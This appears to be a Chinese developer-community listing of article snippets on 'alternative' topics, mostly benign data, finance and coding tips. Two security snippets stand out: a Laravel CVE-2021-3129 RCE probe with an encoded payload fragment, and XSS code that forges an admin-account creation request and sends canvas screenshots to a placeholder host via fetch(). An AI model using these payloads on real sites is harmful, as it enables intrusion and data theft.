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数据下载 | MODIS数据另类下载方式
MODIS是一种我们常用的遥感数据。由于MODIS的重访周期比较短（1-2天），所以就可以利用MODIS合成多天无云的产品。 但是，我们处理这个MODIS数据产品有时候又非常的麻烦。因为，一景MODIS产品不一定覆盖我们的研究区域，我们需要拼接然后裁剪。 我们今天介绍的这个网址就可以直接下载我们自己研究区域的MODIS数据。 01 这个是USGS的一个下载网址，首先我们需要有一个USGS的账号，没有的同学申请一个就可以。 我们点击左上角的‘Extract', 选择‘Area Sample',也可以选择'Point Sample‘（提取点数据），我们这里以提取面数据为例。 选择‘Start a new request‘ 下面就是我们筛选数据的界面 我们需要在这个界面填入本次下载任务的名称、范围、日期，MODIS产品名称和下载格式和投影。
1.1K20编辑于 2022-04-29 - 来自专栏量化投资与机器学习
Man Group：另类数据在中国！
另类数据更多的应用于偏股票型的量化对冲基金。近于实时的另类数据流有助资产管理公司提前获得大量股票买入或卖出的信号。除此之外，传统资产管理公司也已经开始使用另类数据来帮助提升人工制定长期投资决策的质量。 DIU拥有30名数据科学家，他们分析各种另类数据，帮助投资组合管理团队制定中长期投资决策。 欧美市场也正在形成包括使用另类数据的资产管理经理、数据所有者和供应商的另类数据生态系统。 从另类数据公司数量上看 另类数据公司主要分为三类。 买方对另类数据的使用方式： 图片来自：中信证券 另类数据可以给基金经理带来五点优势： 更大体量的数据和信息 新的洞察力 竞争优势 可靠性 效率 虽然基金经理使用另类数据寻找到新的阿尔法只是时间问题， 但并不是所有另类数据都有潜力可以帮助基金公司获取市场阿尔法，因此另类数据公司在收集、清洗数据的同时，需要基金经理来评判数据是否有价值，同时高效的处理和应用将是降低成本和提升效率的关键，因此另类数据公司应当具备机器学习等技术开发能力和高效的产品策略
1.1K40发布于 2021-09-17 - 来自专栏博文视点Broadview
另类数据：投资中的怪咖
面对这种局面，人们开始从尚未被过度使用的数据源中寻找构造因子的灵感，这些数据源就是另类数据。 然而，另类数据是否像想象中的一样好使呢？ 利用手机信号量，他们发现从2018年6月到10月，特斯拉工厂夜间轮班时间增加了30%，因此推断特斯拉的产能得到了极大的提高。Thasos将这个数据分享给了它的一些对冲基金客户。 在几十年前，当人们仅通过量价数据进行交易的时候，财务报表数据就是另类数据；当财务数据被广泛使用后，分析师一致预期就是另类数据；当分析师一致预期家喻户晓之后，网络舆情数据就成了另类数据；当人们对网络舆情不再陌生之后 ，非结构化的文本数据就变成了另类数据…… 另类数据的5点思考 随着通过已有数据源构建因子并进行交易变得越来越“拥挤”，获得的超额收益越来越少，人们自然而然地将视线和希望转向新的另类数据上，希望通过独门数据源挖出新的 以上就是对另类数据的五点思考。 最后，简单总结一下另类数据的四大主流数据来源，包括网络抓取、情绪、卫星数据以及消费数据。 在传统因子变得越来越拥挤的今天，另类数据的出现无疑为因子投资注入了新的活力。
63220编辑于 2023-05-19 - 来自专栏数据科学实战
AKShare-另类数据-综艺节目
作者寄语 本次接口主要提供热播综艺节目的数据，通过本接口可以获取当前最热门的综艺节目。 video_variety_show 目标地址: https://www.endata.com.cn/Video/index.html 描述: 艺恩-视频放映-综艺节目 限量: 返回前一日的综艺播映数据 import akshare as ak video_variety_show_df = ak.video_variety_show() print(video_variety_show_df) 数据示例 71.00 50.83 2021-11-15 4 5 奔跑吧·黄河篇第二季 真人秀 55.64 50.03 42.40 51.80 67.99 2021-11-15 5 6 青春环游记第三季 真人秀 55.61 54.06 41.32 51.76 67.58 2021-11-15 6 7 我们的歌第三季 真人秀 55.21 65.66
49410编辑于 2022-01-12 - 来自专栏数据科学实战
AkShare-另类数据-福布斯中国榜单
forbes_rank" # 福布斯中国榜单 福布斯中国榜单 接口: forbes_rank 目标地址: https://www.forbeschina.com/lists 描述: 获取福布斯中国-榜单数据 , 一共 87 个指标的数据可以获取 限量: 单次返回指定指标的数据 输入参数 名称 类型 必选 描述 indicator str Y indicator="2020年福布斯中国400富豪榜"; 参考 福布斯新加坡富豪榜 https://www.forbeschina.com/lists/1743 5 2020福布斯中国最佳CEO榜 https://www.forbeschina.com/lists/1741 6 akshare as ak forbes_rank_df = ak.forbes_rank(indicator="2020年福布斯中国400富豪榜") print(forbes_rank_df) 数据示例
58830发布于 2020-11-09 - 来自专栏数据科学实战
AkShare-另类数据-空气质量
AkShare 另类数据 空气质量-全国 城市列表 接口: air_city_list 目标地址: https://www.aqistudy.cn/ 描述: 获取所有空气质量数据的城市字典 限量: 单次返回所有可以获取的城市的字典 Y period="day"; "hour": 每小时一个数据, 由于数据量比较大, 下载较慢; "day": 每天一个数据; "month": 每个月一个数据 start_date str Y start_date -03-24 70 51 68 ... 36.958 1.458 5 2020-03-25 153 117 111 ... 49.833 1.792 6 ... 23.708 3.167 32 2020-04-21 42 7 33 ... 18.917 2.833 33 2020-04-22 43 6 None 3.829 None 6 76 北京 2019-11 ...
1.2K20发布于 2020-05-07 - 来自专栏数据科学实战
AKShare-另类数据-电视剧集
作者寄语 本次接口主要提供热播电视剧的数据，通过本接口可以获取当前最热门的电视剧。 电视剧集 接口: video_tv 目标地址: https://www.endata.com.cn/Video/index.html 描述: 艺恩-视频放映-电视剧集 限量: 返回前一日的电视剧播映数据 float64 - 统计日期 float64 - 接口示例 import akshare as ak video_tv_df = ak.video_tv() print(video_tv_df) 数据示例 57.00 74.82 2021-11-15 4 5 星辰大海 都市/剧情 64.48 57.89 52.90 53.00 74.73 2021-11-15 5 6 一见倾心 爱情/剧情 62.62 60.44 51.27 45.00 74.53 2021-11-15 6 7 夜色暗涌时 都市/爱情 60.01 53.27 47.26
50220编辑于 2022-01-12 - 来自专栏伪君子的梦呓
关于另类数据的一个记录
数据的可信度，对结果的解释。 案例 总体来说，不外乎是想知道自身的数据，想知道竞对的数据，想知道行业/行业 Top 几的数据，数据采购。 数据源 除了运营商数据之外，还有爬虫数据、卫星数据、GPS数据、电力数据、SDK数据、手机厂商数据、内部数据、路由器数据、信用卡数据、邮件数据等数据，具体请看下图。 相关补充 思维导图： 播客： 国内的另类数据行业（节目的 Host 在国外，懂的都懂）： https://www.xiaoyuzhoufm.com/episode/60728f85b3b59ee30e7c13a8 对话行业资深从业者：金融另类数据究竟为何另类： https://www.xiaoyuzhoufm.com/episode/61b352ef32e9f3c7418aeb84 文章： 如何通过“先行数据” 辅助投资决策 大数据及相关技术在投资研究中的应用——另类数据的发展: https://www.weiyangx.com/362558.html 网站： https://alternativedata.org
65920编辑于 2022-03-29 - 来自专栏数据科学实战
AKShare-另类数据-新能源汽车细分市场
乘联会-新能源细分市场 接口: car_cpca_energy_sale 目标地址: http://data.cpcaauto.com/FuelMarket 描述: 获取乘联会-新能源细分市场汽车销量数据 限量: 单次返回本年度和上年度月份的销量数据 输入参数 名称 类型 必选 描述 - - - - 输出参数-品牌 名称 类型 默认显示 描述 月份 object Y - {前一个年份}年 float64 import akshare as ak car_cpca_energy_sale_df = ak.car_cpca_energy_sale() print(car_cpca_energy_sale_df) 数据示例 1.2431 9.7059 2 3月 5.4619 18.5328 3 4月 5.5870 16.1418 4 5月 6.7363 NaN 5 6月 8.3278 NaN 6 7月 8.2568 NaN 7 8月 9.3297 NaN 8 9月 11.0416 NaN 9
85330发布于 2021-05-18 - 来自专栏量化投资与机器学习
另类因子：消费交易数据与股票截面收益
，研究表明消费数据与公司未来三个季度的盈收数据间有着明显的关系。 数据 本文使用了第三方另类数据公司提供的2013年至2019年的美国公民的刷卡消费数据。 该销售数据与政府报告的月度普查零售销售数据的相关性超过90%，这证明了它的代表性。 下表1展示了该数据在不同行业的覆盖度，其中在非必需消费品行业的公司覆盖度最高。 所以我们好奇，这样高频的交易数据和公司披露的盈收数据之间有没有明显的关系。 在国内移动支付普及的情况下，也希望能够在数据合规脱敏的情况下，有更多的另类数据丰富策略的研究场景。
79820编辑于 2022-07-12 - 来自专栏Android小知识
Android打包另类问题
今天遇到的问题，内容来源于网络，记录一下。 运行之后产生的包发给别人安装不了 outputs中 解决方案 在gradle.properties添加android.injected.textOnly=f
73810发布于 2020-03-26 - 来自专栏小生观察室
Laravel RCE 另类技巧
、富于表达力 在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM 它能方便的将“约束（constraints）”应用到关系的双方，这样你就具有了对数据的完全控制 https://小生观察室/_ignition/execute-solution 路径信息 网站开启Ｄebug调试功能，且Laravel<=8.4.2，疑似存在CVE-2021-3129RCE漏洞 数据包验证 =00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B =00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38 =00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45
2.2K20编辑于 2022-06-05 - 来自专栏数据结构与算法
Hello World另类写法
namespace std; 3 #define __ int main() 4 #define ___ { 5 #define ____ cout<<"Hello World"; 6
91960发布于 2018-04-13 - 来自专栏腾讯NEXT学位
JavaScript Worker 另类玩法
Blob Blob 对象表示一个不可变、原始数据的类文件对象。Blob 表示的不一定是JS原生格式的数据。File 接口基于Blob，继承了 blob 的功能并将其扩展使其支持用户系统上的文件。 for (var i=0;i<100000;i++) { str += "--" } //返回数据
1.2K30发布于 2018-07-02 - 来自专栏小白安全
XSS攻击另类玩法
admin_add_user.php"; //添加用户请求地址 var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据 Content-type',content_type); xhr.send(argv); //发送POST数据 0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())'; setInterval(x,5000); </script> 这两种服务端获取到的post数据包是
2.1K60发布于 2018-04-16 - 来自专栏小生观察室
Laravel RCE 另类技巧
、富于表达力 在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM 它能方便的将“约束（constraints）”应用到关系的双方，这样你就具有了对数据的完全控制 ignition/execute-solution image.png 路径信息 image.png 网站开启Ｄebug调试功能，且Laravel<=8.4.2，疑似存在CVE-2021-3129RCE漏洞 数据包验证 =00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B =00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38 =00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45
2.2K40编辑于 2022-05-31 - 来自专栏搜狗测试
另类Mock Server猜想？
背景信息 有一个简单的客户端与服务器的交互逻辑： 程序A在启动运行之后，会向给服务器B发送数据a； 服务器B通过获取数据a之后，经过多重逻辑判断，返回数据b； 程序A接收到服务器B返回的数据b后，开始做后续的事情 ，有时没有内容； 接口返回的数据，当有内容时，结果会经常变化，不唯一。 验证程序A在接收到第三方接口返回的数据后，进行后续操作的正确性。 我们遇到的问题？ 由于接口返回数据的不确定性，导致测试效率受到了很大的影响； 如果自定义构造接口返回数据，那么无法解决数据加密的事情。 解决方案 针对以上的背景与问题，我们制定了如下的解决方案： 与服务器B的开发进行沟通，让其提供一个HTTP协议的数据加密接口，通过该接口，可以将自定义的数据进行加密，从而解决问题2。
91110发布于 2020-01-17 - 来自专栏数据科学实战
AKShare-另类数据-彭博亿万富豪历史数据
究竟彭博亿万富翁排行榜是如何得出富翁每日的资产情况最新变化，对此，彭博亿万富翁排行榜的负责人Matthew Miller表示，彭博万富翁排行榜会每天对全世界最富有的20名富翁进行跟踪调查，通过公司的数据系统和新闻分类的特点来保证精确度和真实性 https://stats.areppim.com/stats/links_billionairexlists.htm 描述: 按照年份查询彭博亿万富豪指数; 该接口需要使用代理访问 限量: 单次返回当年所有数据彭博亿万富豪排名数据 index_bloomberg_billionaires_hist_df=ak.index_bloomberg_billionaires_hist(year='2019') print(index_bloomberg_billionaires_hist_df) 数据示例
54910编辑于 2022-04-18 - 来自专栏数据派THU
10个Pandas的另类数据处理技巧
4、空值，int, Int64 标准整型数据类型不支持空值，所以会自动转换为浮点数。所以如果数据要求在整数字段中使用空值，请考虑使用Int64数据类型，因为它会使用pandas.NA来表示空值。 parquet会保留数据类型，在读取数据时就不需要指定dtypes。parquet文件默认已经使用了snappy进行压缩，所以占用的磁盘空间小。 6、value_counts () 计算相对频率，包括获得绝对值、计数和除以总数是很复杂的，但是使用value_counts，可以更容易地完成这项任务，并且该方法提供了包含或排除空值的选项。 "b": [4, 5, 6], "category": [["foo", "bar"], ["foo"], ["qux"]]}) # let's increase the number 此外，除了csv之外，还有其他有趣的存储数据集的方法。不要忘记使用分类数据类型，它可以节省大量内存。感谢阅读! 编辑：王菁 校对：林亦霖
1.6K40编辑于 2023-04-18 - 来自专栏大数据文摘
【另类可视化】芝加哥的城市大数据
作者：安德鲁·施耐德 关键词：大数据，芝加哥，可视化 大数据文摘翻译/校对：兔八哥 转载请保留 在丹尼尔·伯纳姆的铁路交易所大楼的大厅，芝加哥建筑基金会（CAF）将不可见的变成了可见的。 在名为“芝加哥：城市大数据”的展览上，芝加哥建筑基金会将“芝加哥模型 ”——-一个320平方英尺芝加哥市中心的树脂复制品，每年更新以反映其增减——变成一个可以“查看”城市数据的交互模型。 这里有一个奇妙的互动式显示屏，将城市的地域数据赋予谷歌地图软件，使人们能对一个已发展的地区有一个深入的认识。 展览内容也特别涵盖了大数据---许多人围绕着数据的所有权及其揭示的规律，针对隐私问题表示担忧。芝加哥正准备推出一个完整的传感器系统，它将与智能手机和环境进行交互，产生一系列新的数据。 通过该项目收集到的数据将向公众开放，可以被个人、政府和企业所使用。该系统将于今年逐步推出，但对于那些在数据间寻求各种答案、探索数据的危险性与可能性的人来说，城市大数据是一个很好的开端。
928100发布于 2018-05-22
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